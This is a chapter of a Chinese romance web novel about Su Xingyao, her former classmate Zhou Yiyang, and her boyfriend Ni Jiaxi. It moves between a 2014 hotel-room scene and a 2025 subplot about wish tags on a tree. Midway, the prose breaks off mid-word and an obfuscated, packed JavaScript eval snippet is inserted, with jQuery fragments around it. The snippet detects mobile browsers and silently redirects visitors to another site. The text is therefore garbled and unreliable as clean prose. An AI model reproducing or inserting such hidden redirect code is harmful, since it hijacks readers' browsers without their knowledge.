2014年,冬。
回到学校,时间缓慢流逝。
坐在窗边的周奕扬终于注意到,每到大课间,总有一个带着眼镜的男的来找苏星遥。
那范司瑞长得白白净净,气质文质彬彬,脸上总是带着如沐春风的笑容,举止一派绅士风度。
两人在走廊谈笑,难舍难分。
中间有一段时间他不再来。
再来的时候,他脸上的笑容消失了,也没有意气风发的姿态。只是垂头丧气,眼角泛红。
他在门口等,苏星遥不愿意出去,他并不争辩,只是乖乖地等,等到上课铃响,她若是还不出去,他就垂头丧气地独自离去,背影灰蒙蒙的。
爱情真可怕,竟然让一个曾神采奕奕的少年变得灰头土脸,失去自尊。
再后来,他不再来。
日子又变得索然无味。
第二个学期,他们小组研究的课题入围了全国中学生社会科学大赛,他和苏星遥作为小组代表到华城参赛。
再见到范司瑞,是在比赛的会展中心,他已恢复了意气风发的模样,脸上又挂上了那种如沐春风的笑容,对谁都客气周到,除了周奕扬。
晚上,两人入住学校安排的酒店。
来参赛的学生中,女生是单数,苏星遥落了单,自己独享一个房间。
学校规定男女不能串寝,但到了酒店,两人为了尚未完善的答辩大纲,依旧顶风作案地到苏星遥的房间继续讨论。
正争辩着,敲门声突兀地响起。
两人心里一紧,面面相觑,都倒吸一口凉气。
查寝的?
苏星遥连忙将周奕扬拉起来。他个子高,藏哪都很明显。思索间,又是一阵急促的敲门声。
情况紧急,说时迟那时快,苏星遥将他扔到了衣柜里。
周奕扬将高大的身体蜷缩起来,门砰地关上,他顿时陷入黑暗之中。衣柜里很闷,飘着常年未被使用的霉味,柜门留了一条缝,堪堪能瞥见门口站着的那抹身影。
来人是范司瑞。
“怎么这么久才开门?”范司瑞的神情又耷拉下来,眼眶通红。
“你怎么知道我房间号?”苏星遥不答反问。
“你当时手机里的照片是他?”
他们对峙片刻。
半晌,苏星遥幽幽开口:“那是一张大合照。”
对,一张大合照,四个组员和艾家村村民们,每一张脸上都洋溢着鲜活的笑。这样一张寻常的合照,范司瑞本不该起疑。
直到有一天,他发现她用双指将照片放大,只看那一个人。
“他是不是在里面?”范司瑞嗓音发抖。
她不接话,一双好看的眸子像霜雪天里的冰花,冷得刺人。
范司瑞走进房间,一眼便能望尽的空间里显然没有别人。但他不信,转身去浴室查看。
一无所获后,他停在衣柜前,却迟迟没有动作。
她推开他,捧着电脑走到他跟前,语气很冷,脸色很阴沉:“刚刚戴着耳机忙课题的事,没听到,满意了吗?”
他瞥向屏幕——上面是一则碎月湾政府发布的“关于西边景点打造”的公告,配图是海湾西侧那棵标志性的参天古树。
*
2025年。
倪嘉曦单手转动方向盘,车子绕过层叠的高楼,一棵参天的古树映入眼帘。
这是一棵茂密繁盛的树,由来已久,树干粗壮,树干上又分出无数的枝条,枝繁叶茂,鸟语相伴。
远远望去,树上一片红彤彤,好似爬了满林的枫叶。走近了看,才惊觉原来是一片片的许愿牌。
前几年,这棵树被打造为碎月湾的标志性景点,取名为祈缘树,据说,这棵树受海神庇佑,求什么都灵验。
嘉曦自然不信这些,但他一边无法忍受舍友们恶意的揣度,一边又等不到苏星遥的信息,实在是坐不住了。
他下车,穿过人潮,绕着树懒懒地看了一圈。偶尔抬手翻看垂落的牌子,上面写了各式各样的心愿。
一侧贩卖许愿牌的小摊叫卖着,倪嘉曦买了一个。
“写好后要抛到树上啊,”摊主仔细包装好递给他,笑着叮嘱,“这样海神才看得见。”
嘉曦表面笑着答应,心里却不以为然:“既然是写给海神看的为什么不抛去海里而是抛去树上呢?”
说到底,这愿望不过是写给人看的。有人求个心安,而他,自然是为了讨女友开心。
他提起笔,几乎没有犹豫,在那许愿牌上落下短短一行字:
“倪嘉曦和苏星遥长长久久。”
写完,他找了一处绿叶鲜明的枝丫,将牌子挂上去,调整好角度,借着和煦的阳光,按下快门。
恰在此刻,一阵风来。
满树的许愿牌哗啦作响,纷纷扬扬地晃荡起来。他刚挂上的那块在风中打了个旋,没坚持几秒,便轻轻飘落在地。
他弯腰去捡。
风却像故意逗他似的,指尖刚要触到,牌子又被吹远了些。
如此绕着祈愿树坠了大半圈,才总算拾起。他拍去上面沾的薄尘,重新找了个更结实的枝杈挂好。
再次举起相机。
“咔嚓。”
这一次,只有微风助阵。
嘉曦细细审着照片,构图很好,光线很好,上面的内容更是点睛之笔。他心满意足地将牌子摘下来,放进口袋。
带回家送给她吧。
她一定会很喜欢。
*
长期蹭周奕扬的染坊也不是办法,苏星遥今天一整天都在联系新的染坊,希望达成长期稳定的合作。
别说碎月湾,就连华城的邻近城市她都跑遍了,对方在电话里说得天花乱坠,可实地一看,却处处透着敷衍将就。
古法草木染本是慢工细活,费时耗力,因此少有大规模工坊,这她理解。可今天看到几家规模小不说,还有管理杂乱、流程随意、权责模糊的隐患。若真合作起来,品控恐怕难以保障。
兜转一圈,竟没找到一家比周奕扬的辰霄染坊更合心意的。苏星遥只好空手而归。
心里不是没闪过那个念头,要不,干脆问问周奕扬愿不愿意接这单?
但很快她就打消了这个念头。
已经分手的关系,不宜有过多交集,还是再多看看吧。
这么想着,她推开家门。家里灯亮着,飘来了菜肴的香气,苏星遥心里一暖,连忙换鞋跑进去。
餐桌上,已摆有两道菜,一旁还放着那张红彤彤的许愿牌。苏星遥看着上面的字,不由得轻轻笑了。
倪嘉曦穿着围裙在厨房里忙活着,正手忙脚乱地将一条鱼滑进锅里。一瞬间,热锅滋滋作响,溅起油花。
他一边翻炒一边回头:“你回来啦?快准备吃饭吧!”
*
嘉
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17032834|194555||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
曦的厨艺真不怎么样,她吃了几口便放下筷子,托着脑袋看他。
“学校的事忙完了?”他回学校那几天,跟她说要忙着准备毕业汇演的事来着。
嘉曦点点头,然后想起什么似的,眼睛一亮。拿出手机,点开照片,屏幕转向她。
照片里是那张许愿牌,在疏朗的枝丫间格外醒目。
“特地为你求的,”他笑容明亮,毫不掩饰地讨赏,“怎么样?”
她很是捧场,笑眯眯地拿起手机认真端详着。
照片里的许愿牌不止那一张,张张都随风舞动。她将那照片左看右看,放大缩小。
看着看着,她突然怔愣起来,笑意凝固了。
倪嘉曦写的那张崭新许愿牌的侧后方,还挂着一张。
那许愿牌挂了大概有一段时间了,原本鲜红的颜色褪为浅浅的朱红,字迹也在风吹日晒中淡去些许。因距离稍远,又被风吹得摇晃,辨认起来并不容易。
苏星遥不自觉地蹙起眉,指尖停住,将那一处缓缓放大。
她看了很久。
久到倪嘉曦都察觉出异样,轻声问:“怎么了?”
她没有回答。
屏幕的光映在她眼里,她的眼睫微微颤动。最终,她终于看清了那行字。
那牌子上的字迹清峻工整,只写了简单的一句:
“愿星遥岁岁平安。”
*
这顿饭的后半段,苏星遥有些心不在焉。
嘉曦兴致勃勃地分享着大学趣事,她却好几次走了神。
“所以,那天能来吗?”嘉曦凑近问她。
“嗯……啊?”她拿筷子戳着碗里的米饭,尴尬地笑了。
“我说,我的毕业汇演,能来吗?”
“毕业汇演啊……”她在心里快速盘算着日程。和【永绎】的合同即将到期,解约事宜要处理,【YI】那边也有一堆事等着。光是想想,就觉得时间不够用。
她带着歉意望向他:“我尽量……到时候再看看情况,好吗?”
嘉曦的笑容一下子耷拉下来。她怕他穷追不舍,连忙逃去洗澡。
很快,浴室响起水声。
嘉曦收拾完,闷闷不乐地躺在沙发里,心绪不宁。如果苏星遥不能去参加毕业汇演,那谣言不知会传到什么地步呢。
正思考着对策,茶几上,苏星遥的手机屏幕倏然亮起,传来连续的震动。
倪嘉曦的目光下意识被吸引过去。
屏幕持续亮了几秒,恰好足够让他看清里面的内容。
信息是周奕扬发来的。
他皱皱眉,又侧耳细听浴室的水声,依旧淅淅沥沥的,大概没那么快洗完。
于是他拿起她的手机,擅自解了锁。
*
苏星遥从浴室里出来时,倪嘉曦靠在沙发上,漫不经心地把玩着什么。
见她出来,他勾勾唇,笑得有些坏。
“到我去洗。”
他这么说着,将手里的东西随手放到沙发上,蹭的从沙发站起来走进浴室。
很快,浴室水声响起。苏星遥走近看,才发现刚刚倪嘉曦手里拿着的是她的手机。
她有些疑惑地解锁,检查一遍。
只见手机壁纸都换成了倪嘉曦的照片,除此之外并无异常。
她往那紧闭的浴室门看一眼,不由自主地轻笑一声。
幼稚死了!